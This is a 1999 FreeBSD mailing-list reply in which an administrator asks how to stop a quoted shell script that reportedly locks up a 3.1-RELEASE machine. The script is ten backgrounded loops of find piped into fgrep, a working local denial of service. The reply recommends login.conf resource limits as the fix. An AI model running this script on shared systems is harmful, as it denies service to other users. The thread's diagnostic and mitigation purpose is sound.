From owner-freebsd-current  Thu Mar  4 13:53:36 1999
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Date: Thu, 4 Mar 1999 15:54:01 -0600
From: Chris Costello <chris@holly.dyndns.org>
To: Mike Tancsa <mike@sentex.net>
Cc: current@FreeBSD.ORG
Subject: Re: Simple DOS against 3.x locks box solid
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References: <4.1.19990304073656.084804e0@granite.sentex.ca>
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On Thu, Mar 4, 1999, Mike Tancsa put this into my mailbox:
> 
> Is there any way to stop what is below ?  

   Yep.  Don't do it!

   Seriously, though, that puts a major load on the system.

   You have 10 process all telling the drivers to keep seeking
about through the disks.

   Add /etc/login.conf restrictions if you don't want your users
to do that.

> 
> 
> 
> As posted by yk@dgtu.donetsk.ua
> >
> >This script freeze my 3.1-RELEASE box.
> >I can't make any connection with my box, also from console.
> >
> >-------- cut here ---
> >#! /bin/sh
> >
> >for j in 1 2 3 4 5 6 7 8 9 10
> >do
> >echo -n $j
> >nohup sh -c 'while :; do find / -type file |xargs fgrep fticom; done'
> >/dev/null 2>&1 &
> >echo
> >done
> >--------- cut here ----
> >
> >-- 
> >Yury V. Yaroshevsky     | Donetsk State Technical University
> >YY18-RIPE    		| (380 622) 356455  yk@dgtu.donetsk.ua
> >
> **********************************************************************
> Mike Tancsa, Network Admin        *  mike@sentex.net
> Sentex Communications Corp,       *  http://www.sentex.net/mike
> Cambridge, Ontario                *  01.519.651.3400
> Canada                            *
> 
> 
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